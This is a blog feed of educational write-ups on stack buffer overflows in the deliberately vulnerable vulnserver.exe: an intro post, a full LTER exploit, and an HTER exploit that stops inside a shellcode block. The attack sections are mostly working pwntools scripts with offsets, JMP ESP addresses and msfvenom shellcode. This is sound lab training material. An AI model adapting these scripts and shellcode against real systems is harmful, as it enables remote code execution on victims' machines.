Jekyll2020-08-25T11:39:55+00:00https://ar33zy.hackstreetboys.ph/feed.xmlar33zy | pwn skid adventurespwn skiddie of hackstreetboys | pwning 4 foodar33zyExploiting vulnserver.exe — Intro to Windows Exploitation2020-07-05T15:04:08+00:002020-07-05T15:04:08+00:00https://ar33zy.hackstreetboys.ph/exploitation/windows/windows-exploitation-vulnserver-intro<p>In this multipart write-up, I will feature <a href="http://www.thegreycorner.com/p/vulnserver.html">vulnserver.exe</a>— a binary that is designed to be exploited. I used this binary to have a quick introduction on Windows exploitation development, since I am only familiar with exploiting Linux binaries.</p>
<p>For the test environment, I used Windows 7 x86 VM with the following tools:</p>
<ul>
<li><a href="https://www.immunityinc.com/products/debugger/">Immunity debugger</a></li>
<li><a href="https://github.com/corelan/mona">Mona.py</a></li>
</ul>
<p><img src="https://cdn-images-1.medium.com/max/800/1*C-uWKx8m5Di_SSml9M9xag.jpeg" alt="" class="align-center" /></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*1QKOaLrSOztHAkaJjH3aBQ.png" alt="" class="align-center" /></p>
<p>And of course, <a href="http://www.thegreycorner.com/p/vulnserver.html">vulnserver.exe</a> as our victim binary.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*7bmgBpckTY2tg31mFzbL5Q.png" alt="" class="align-center" /></p>
<p>By default, vulnserver listens on port <code class="language-plaintext highlighter-rouge">9999</code>.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*ZywFYFJa6DhKVY3BwVczIg.png" alt="" class="align-center" /></p>
<p>The source code is also included upon downloading the compressed file, which helped me a lot in identifying the vulnerabilities of the program.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*Uw_cehfmg-QZEZYXEYaBGw.png" alt="" class="align-center" /></p>
<p>Upon checking the source code, I have identified 6 vulnerable commands (out of 14) that could lead to stack-based buffer overflow. The vulnerable commands are as follows:</p>
<ul>
<li>TRUN</li>
<li>GMON</li>
<li>KSTET</li>
<li>GTER</li>
<li>HTER</li>
<li>LTER</li>
</ul>
<p>All these commands have a common culprit — <code class="language-plaintext highlighter-rouge">strcpy()</code></p>
<blockquote>
<p>The <code class="language-plaintext highlighter-rouge">strcpy</code> built-in function does not check buffer lengths and may very well overwrite memory zone contiguous to the intended destination.</p>
</blockquote>
<p>Which explains why all these commands are vulnerable to buffer overflow. The exploit for each command will be discussed separately.</p>
<ul>
<li><a href="/exploitation/windows/windows-exploitation-vulnserver-trun-command/">TRUN ( jmp esp )</a></li>
<li><a href="/exploitation/windows/windows-exploitation-vulnserver-gmon-command/">GMON ( SEH )</a></li>
<li><a href="/exploitation/windows/windows-exploitation-vulnserver-kstet-command/">KSTET ( jmp esp + egghunter )</a></li>
<li><a href="/exploitation/windows/windows-exploitation-vulnserver-gter-command/">GTER ( jmp esp + egghunter )</a></li>
<li><a href="/exploitation/windows/windows-exploitation-vulnserver-hter-command/">HTER ( str2hex payload + jmp esp )</a></li>
<li><a href="/exploitation/windows/windows-exploitation-vulnserver-lter-command/">LTER ( jmp esp + badchars bypass )</a></li>
</ul>
<p>To mitigate this vulnerability, alternative functions like <code class="language-plaintext highlighter-rouge">strncpy()</code> should be used. There are a lot of resources online that can be used as a reference for secure coding. Below are some of the examples:</p>
<ul>
<li><a href="https://rules.sonarsource.com/c/type/Vulnerability/RSPEC-5782">https://rules.sonarsource.com/c/type/Vulnerability/RSPEC-5782</a></li>
<li><a href="https://security.web.cern.ch/recommendations/en/codetools/c.shtml">https://security.web.cern.ch/recommendations/en/codetools/c.shtml</a></li>
<li><a href="https://medium.com/@int0x33/day-49-common-c-code-vulnerabilities-and-mitigations-7eded437ca4a">https://medium.com/@int0x33/day-49-common-c-code-vulnerabilities-and-mitigations-7eded437ca4a</a></li>
</ul>
<p>— ar33zy</p>ar33zyIn this multipart write-up, I will feature vulnserver.exe— a binary that is designed to be exploited. I used this binary to have a quick introduction on Windows exploitation development, since I am only familiar with exploiting Linux binaries.Exploiting vulnserver.exe — LTER command with restricted characters2020-07-05T14:58:10+00:002020-07-05T14:58:10+00:00https://ar33zy.hackstreetboys.ph/exploitation/windows/windows-exploitation-vulnserver-lter-command<p>In this write-up, I will discuss about attacking KSTET command of vulnserver.exe by only using a limited set of characters.</p>
<p>To get started, let’s read the source code of vulnserver.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*twYaWyCpUZ4vFs_Lcwj8eQ.png" alt="" class="align-center" /></p>
<p>The code tells us that it reduces <code class="language-plaintext highlighter-rouge">0x7f</code> to all characters greater than <code class="language-plaintext highlighter-rouge">0x7f</code> before storing to <code class="language-plaintext highlighter-rouge">LterBuf</code>, and eventually it passes <code class="language-plaintext highlighter-rouge">LterBuf</code> to <code class="language-plaintext highlighter-rouge">Function3() if our input contains a “.”</code>.</p>
<p>This means that we can only use characters that are lower to <code class="language-plaintext highlighter-rouge">0x80</code>.</p>
<p>Let’s inspect <code class="language-plaintext highlighter-rouge">Function3</code> to have a better understanding what happens next.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/0*hOK-DKtZmK2jcrAz.png" alt="" class="align-center" /></p>
<p>The contents of <code class="language-plaintext highlighter-rouge">LterBuf</code> is copied to <code class="language-plaintext highlighter-rouge">Buffer2S</code> without checking the payload length. This is where the vulnerability occurs. Since <code class="language-plaintext highlighter-rouge">Buffer2S</code> can only handle <code class="language-plaintext highlighter-rouge">2000</code> <code class="language-plaintext highlighter-rouge">bytes</code> and <code class="language-plaintext highlighter-rouge">LterBuf</code> can handle a large input, we can smash the stack by sending a payload greater than <code class="language-plaintext highlighter-rouge">2000 bytes</code>.</p>
<p>Our initial payload should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "LTER ."
payload += "A"*3000
r.sendline(payload)
r.close()
</code></pre></div></div>
<p>Sending this payload to <code class="language-plaintext highlighter-rouge">vulnserver</code> makes the program crash.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*QdSZN9TUqy7FF5qj5XiR2g.png" alt="" class="align-center" /></p>
<p>Upon checking the registers, it seems that we can now control the instruction pointer.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*QG0wwRdkL1lTJnmHayDbeQ.png" alt="" class="align-center" /></p>
<p>Let’s fuzz this program to get the offset we need to control EIP.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*Y3gMXwPuHXJM_w7FArVPiw.png" alt="" class="align-center" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "LTER ."
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
r.sendline(payload)
r.close()
</code></pre></div></div>
<p>Sending this payload gives us the unique pattern that has overwritten the instruction pointer.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*RB6rU-Vsh0b4e2Ka9h7WjQ.png" alt="" class="align-center" /></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*vPNc95PlpkzRWXUlGqj_TA.png" alt="" class="align-center" /></p>
<p>The offset we need to control the EIP is <code class="language-plaintext highlighter-rouge">2006</code>.</p>
<p>Now, let’s try to execute a shellcode after controlling the instruction pointer. Since we can send <code class="language-plaintext highlighter-rouge">3000 bytes</code> of payload, we have a lot of space to work with. We can simply send our payload together with the shellcode and use <code class="language-plaintext highlighter-rouge">JMP ESP</code> to jump to our shellcode.</p>
<p>Our payload structure should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = <buffer 2006 bytes> + <JMP ESP> + <shellcode>
</code></pre></div></div>
<p>First, let’s check if there is an available <code class="language-plaintext highlighter-rouge">JMP ESP</code> instruction that we can use with the help of mona. We can simply use <code class="language-plaintext highlighter-rouge">!mona jmp -r esp</code> to get a list of <code class="language-plaintext highlighter-rouge">JMP ESP</code> instructions.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/0*n-AvVzUcgEEfLfeI.png" alt="" class="align-center" /></p>
<p>We need to choose an address that does not contain any restricted character.</p>
<p>Let’s use <code class="language-plaintext highlighter-rouge">0x62501203</code> as our <code class="language-plaintext highlighter-rouge">JMP ESP</code> instruction.</p>
<p>Next, we need to generate our shellcode. We can simply use <code class="language-plaintext highlighter-rouge">msfvenom</code> for this one.</p>
<p>Again, we need to use a shellcode that does not contain any restricted character ( <code class="language-plaintext highlighter-rouge">> 0x7f</code> ).</p>
<p>Upon research, I encountered <a href="https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/"><code class="language-plaintext highlighter-rouge">alphanumeric shellcode encoder</code></a> of <code class="language-plaintext highlighter-rouge">msfvenom</code>. We can use this encoder to generate a shellcode that only contains alphanumeric characters which will work since all alphanumeric characters are less than <code class="language-plaintext highlighter-rouge">0x80</code>.</p>
<p>Let’s generate our shellcode using this encoder.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*HD6Lcs0ks2c784aFw7ve5w.png" alt="" class="align-center" /></p>
<p>Aside from the encoder, I also used the <code class="language-plaintext highlighter-rouge">BufferRegister</code> option since we already know the location of our shellcode which is in <code class="language-plaintext highlighter-rouge">ESP</code>.</p>
<p>Without using this option, we will have non-alphanumeric characters in our shellcode like <code class="language-plaintext highlighter-rouge">\x89\xe2\xdb\xdb\xd9\x72</code>. These values are opcodes which are needed by the shellcode to obtain the absolute location of the payload in the memory.</p>
<p>Combining everything above, here is our final payload script.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
shellcode += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
shellcode += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c\x58"
shellcode += b"\x68\x4c\x42\x35\x50\x53\x30\x37\x70\x63\x50"
shellcode += b"\x4f\x79\x59\x75\x45\x61\x79\x50\x50\x64\x4e"
shellcode += b"\x6b\x52\x70\x64\x70\x4c\x4b\x53\x62\x34\x4c"
shellcode += b"\x6e\x6b\x51\x42\x37\x64\x6c\x4b\x30\x72\x57"
shellcode += b"\x58\x64\x4f\x4d\x67\x53\x7a\x45\x76\x64\x71"
shellcode += b"\x39\x6f\x6c\x6c\x77\x4c\x35\x31\x63\x4c\x74"
shellcode += b"\x42\x46\x4c\x31\x30\x4f\x31\x7a\x6f\x36\x6d"
shellcode += b"\x73\x31\x7a\x67\x4d\x32\x6c\x32\x31\x42\x71"
shellcode += b"\x47\x6e\x6b\x71\x42\x46\x70\x6c\x4b\x62\x6a"
shellcode += b"\x45\x6c\x6c\x4b\x62\x6c\x32\x31\x71\x68\x39"
shellcode += b"\x73\x31\x58\x45\x51\x6a\x71\x32\x71\x4e\x6b"
shellcode += b"\x71\x49\x75\x70\x46\x61\x69\x43\x4e\x6b\x67"
shellcode += b"\x39\x55\x48\x4a\x43\x75\x6a\x67\x39\x4c\x4b"
shellcode += b"\x36\x54\x4c\x4b\x63\x31\x59\x46\x66\x51\x4b"
shellcode += b"\x4f\x6c\x6c\x6b\x71\x58\x4f\x76\x6d\x73\x31"
shellcode += b"\x6b\x77\x37\x48\x4b\x50\x33\x45\x4a\x56\x53"
shellcode += b"\x33\x71\x6d\x6b\x48\x67\x4b\x33\x4d\x54\x64"
shellcode += b"\x30\x75\x6a\x44\x46\x38\x6e\x6b\x30\x58\x76"
shellcode += b"\x44\x43\x31\x68\x53\x43\x56\x4e\x6b\x46\x6c"
shellcode += b"\x62\x6b\x4c\x4b\x62\x78\x65\x4c\x53\x31\x5a"
shellcode += b"\x73\x4e\x6b\x57\x74\x6e\x6b\x67\x71\x6a\x70"
shellcode += b"\x6e\x69\x51\x54\x65\x74\x77\x54\x63\x6b\x31"
shellcode += b"\x4b\x50\x61\x72\x79\x73\x6a\x56\x31\x4b\x4f"
shellcode += b"\x4b\x50\x53\x6f\x43\x6f\x52\x7a\x4c\x4b\x57"
shellcode += b"\x62\x5a\x4b\x4c\x4d\x31\x4d\x55\x38\x76\x53"
shellcode += b"\x74\x72\x67\x70\x63\x30\x31\x78\x64\x37\x31"
shellcode += b"\x63\x64\x72\x73\x6f\x50\x54\x62\x48\x52\x6c"
shellcode += b"\x32\x57\x76\x46\x55\x57\x59\x6f\x79\x45\x6f"
shellcode += b"\x48\x7a\x30\x33\x31\x67\x70\x67\x70\x74\x69"
shellcode += b"\x4a\x64\x72\x74\x32\x70\x42\x48\x66\x49\x6b"
shellcode += b"\x30\x72\x4b\x37\x70\x4b\x4f\x59\x45\x70\x50"
shellcode += b"\x30\x50\x56\x30\x46\x30\x67\x30\x70\x50\x61"
shellcode += b"\x50\x52\x70\x35\x38\x4b\x5a\x76\x6f\x69\x4f"
shellcode += b"\x6d\x30\x4b\x4f\x79\x45\x5a\x37\x63\x5a\x75"
shellcode += b"\x55\x35\x38\x39\x50\x49\x38\x4e\x68\x39\x66"
shellcode += b"\x65\x38\x56\x62\x63\x30\x32\x31\x63\x6c\x6e"
shellcode += b"\x69\x78\x66\x63\x5a\x36\x70\x73\x66\x51\x47"
shellcode += b"\x62\x48\x5a\x39\x59\x35\x62\x54\x75\x31\x39"
shellcode += b"\x6f\x4a\x75\x6d\x55\x6b\x70\x30\x74\x46\x6c"
shellcode += b"\x39\x6f\x30\x4e\x75\x58\x32\x55\x48\x6c\x31"
shellcode += b"\x78\x7a\x50\x6d\x65\x4c\x62\x66\x36\x4b\x4f"
shellcode += b"\x6a\x75\x65\x38\x51\x73\x62\x4d\x35\x34\x67"
shellcode += b"\x70\x6d\x59\x68\x63\x53\x67\x66\x37\x33\x67"
shellcode += b"\x46\x51\x59\x66\x30\x6a\x74\x52\x50\x59\x53"
shellcode += b"\x66\x49\x72\x69\x6d\x55\x36\x78\x47\x37\x34"
shellcode += b"\x51\x34\x45\x6c\x36\x61\x35\x51\x6e\x6d\x57"
shellcode += b"\x34\x64\x64\x72\x30\x6a\x66\x45\x50\x30\x44"
shellcode += b"\x43\x64\x70\x50\x73\x66\x43\x66\x36\x36\x52"
shellcode += b"\x66\x56\x36\x42\x6e\x61\x46\x31\x46\x76\x33"
shellcode += b"\x53\x66\x43\x58\x34\x39\x58\x4c\x67\x4f\x4f"
shellcode += b"\x76\x59\x6f\x6b\x65\x4c\x49\x39\x70\x70\x4e"
shellcode += b"\x66\x36\x43\x76\x69\x6f\x74\x70\x53\x58\x75"
shellcode += b"\x58\x6c\x47\x67\x6d\x45\x30\x49\x6f\x6a\x75"
shellcode += b"\x6d\x6b\x4a\x50\x6d\x65\x6c\x62\x36\x36\x52"
shellcode += b"\x48\x39\x36\x6f\x65\x6f\x4d\x6d\x4d\x39\x6f"
shellcode += b"\x7a\x75\x75\x6c\x34\x46\x33\x4c\x67\x7a\x6b"
shellcode += b"\x30\x69\x6b\x4b\x50\x74\x35\x75\x55\x4d\x6b"
shellcode += b"\x33\x77\x77\x63\x43\x42\x50\x6f\x32\x4a\x73"
shellcode += b"\x30\x32\x73\x4b\x4f\x4e\x35\x41\x41"
# badchars, payload chars must be less than 0x7f
payload = ""
payload += "LTER ."
payload += "A"*2006
payload += p32(0x62501203)
payload += shellcode
r.sendline(payload)
r.close()
</code></pre></div></div>
<p>Executing this payload gives us a shell.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*r-2zuXxeHqOUqYNpq_9oBQ.png" alt="" class="align-center" /></p>
<p>— ar33zy</p>ar33zyIn this write-up, I will discuss about attacking KSTET command of vulnserver.exe by only using a limited set of characters.Exploiting vulnserver.exe — HTER command using hex characters2020-07-05T14:16:49+00:002020-07-05T14:16:49+00:00https://ar33zy.hackstreetboys.ph/exploitation/windows/windows-exploitation-vulnserver-hter-command<p>In this write-up, I will discuss about attacking HTER command of vulnserver.exe with the use of hex characters.</p>
<p>To get started, let’s read the source code of vulnserver.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*spTBn2T3ICE8gB41s5CI6A.png" alt="" class="align-center" /></p>
<p>The code tells us that it converts our input <code class="language-plaintext highlighter-rouge">(RecvBuf)</code> into its <code class="language-plaintext highlighter-rouge">base16</code> value using <code class="language-plaintext highlighter-rouge">strtoul()</code> before storing to <code class="language-plaintext highlighter-rouge">HterBuf</code>, and eventually it passes <code class="language-plaintext highlighter-rouge">HterBuf</code> to <code class="language-plaintext highlighter-rouge">Function4()</code>.</p>
<p>This sample code will further explain what really happens during the conversion.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*QL58sIYS24LcW-5CTJ5X3w.png" alt="" class="align-center" /></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*xS9_IEwQgZdolR5OE9oqWw.png" alt="" class="align-center" /></p>
<p>Basically what happens is that our input string is converted as a hex character. This also tells us that our input will be limited only to hex characters (<code class="language-plaintext highlighter-rouge">0 to F</code>).</p>
<p>Let’s inspect <code class="language-plaintext highlighter-rouge">Function4</code> to have a better understanding what happens next.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*92h7F8IEZ_i5gs9oYY5zuw.png" alt="" class="align-center" /></p>
<p>The contents of <code class="language-plaintext highlighter-rouge">HterBuf</code> is copied to <code class="language-plaintext highlighter-rouge">Buffer2S</code> without checking the length. This is where the vulnerability occurs. Since <code class="language-plaintext highlighter-rouge">Buffer2S</code> can only handle <code class="language-plaintext highlighter-rouge">1000</code> <code class="language-plaintext highlighter-rouge">bytes</code> and <code class="language-plaintext highlighter-rouge">HterBuf</code> does not have a limitation, we can smash the stack by sending a payload greater than <code class="language-plaintext highlighter-rouge">1000 bytes.</code></p>
<p>Our initial payload should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "HTER "
payload += "A"*3000
r.sendline(payload)
r.close()
</code></pre></div></div>
<p>Sending this payload to <code class="language-plaintext highlighter-rouge">vulnserver</code> makes the program crash.</p>
<p>Upon checking the registers, it seems that we can now control the instruction pointer.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*W-uSQI3xdd0rCp61ly8O-w.png" alt="" class="align-center" /></p>
<p>Based on the source code, our input <code class="language-plaintext highlighter-rouge">“A”*3000</code> is converted as <code class="language-plaintext highlighter-rouge">0xa * 3000.</code></p>
<p>After doing a lot of trials (divide and conquer), I got <code class="language-plaintext highlighter-rouge">2041</code> as our offset. Sending this payload should overwrite EIP with <code class="language-plaintext highlighter-rouge">BBBBBB.</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "HTER "
payload += "A"*2041
payload += "B"*8
r.sendline(payload)
r.close()
</code></pre></div></div>
<p><img src="https://cdn-images-1.medium.com/max/800/1*9NF4iZB02LNLOSupEvqgeQ.png" alt="" class="align-center" /></p>
<p>We successfully controlled the instruction pointer.</p>
<p>Now, we need to create a str2hex converter.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*EjCTbk1iv5nlikljCS0hhw.png" alt="" class="align-center" /></p>
<p>This function will convert our payload to its hex value.</p>
<p>Let’s test this function with our payload.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
def str2hex(val):
return(''.join(\[hex(ord(x))\[2:\].rjust(2,'0') for x in val\]))
payload = ""
payload += "HTER "
payload += "A"*2041
payload += str2hex("B"*4)
r.sendline(payload)
r.close()
</code></pre></div></div>
<p><img src="https://cdn-images-1.medium.com/max/800/1*fkL37iRCEyTt6BUzmbK5AA.png" alt="" class="align-center" /></p>
<p>We have successfully overwritten EIP with <code class="language-plaintext highlighter-rouge">0x42424242</code>.</p>
<p>Now, let’s try to execute a shellcode after controlling the instruction pointer. Since we can send a large payload, we have a lot of space to work with. We can simply send our payload together with the shellcode and use <code class="language-plaintext highlighter-rouge">JMP ESP</code> to jump to our shellcode.</p>
<p>First, let’s check if there is an available <code class="language-plaintext highlighter-rouge">JMP ESP</code> instruction that we can use with the help of mona. We can simply use <code class="language-plaintext highlighter-rouge">!mona jmp -r esp</code> to get a list of <code class="language-plaintext highlighter-rouge">JMP ESP</code> instructions.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/0*zSH6uWKE0zG-A4HN.png" alt="" class="align-center" /></p>
<p>We can use <code class="language-plaintext highlighter-rouge">0x625011af</code> as our <code class="language-plaintext highlighter-rouge">JMP ESP</code> instruction.</p>
<p>Let’s try to use this together with our converter and jump to our debugger as our shellcode placeholder.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
def str2hex(val):
return(''.join([hex(ord(x))[2:].rjust(2,'0') for x in val]))
payload = ""
payload += "HTER "
payload += "A"*2041
payload += str2hex(p32(0x625011af))
payload += str2hex("\xcc"*10)
r.sendline(payload)
r.close()
</code></pre></div></div>
<p><img src="https://cdn-images-1.medium.com/max/800/1*VyhZ1vbHc2v_8rH8XirJ4g.png" alt="" class="align-center" /></p>
<p>We have successfully executed our debugger instruction.</p>
<p>Next, we need to generate our <code class="language-plaintext highlighter-rouge">shellcode</code> and replace our placeholder. We can simply use <code class="language-plaintext highlighter-rouge">msfvenom</code> for this one.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*yz7dL_lMW2Hkp0f9OSYHCw.png" alt="" class="align-center" /></p>
<p>Our final payload script together with the shellcode.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\xb8\x39\x1b\xb7\x9d\xdb\xd2\xd9\x74\x24\xf4"
shellcode += b"\x5b\x2b\xc9\xb1\x52\x83\xc3\x04\x31\x43\x0e"
shellcode += b"\x03\x7a\x15\x55\x68\x80\xc1\x1b\x93\x78\x12"
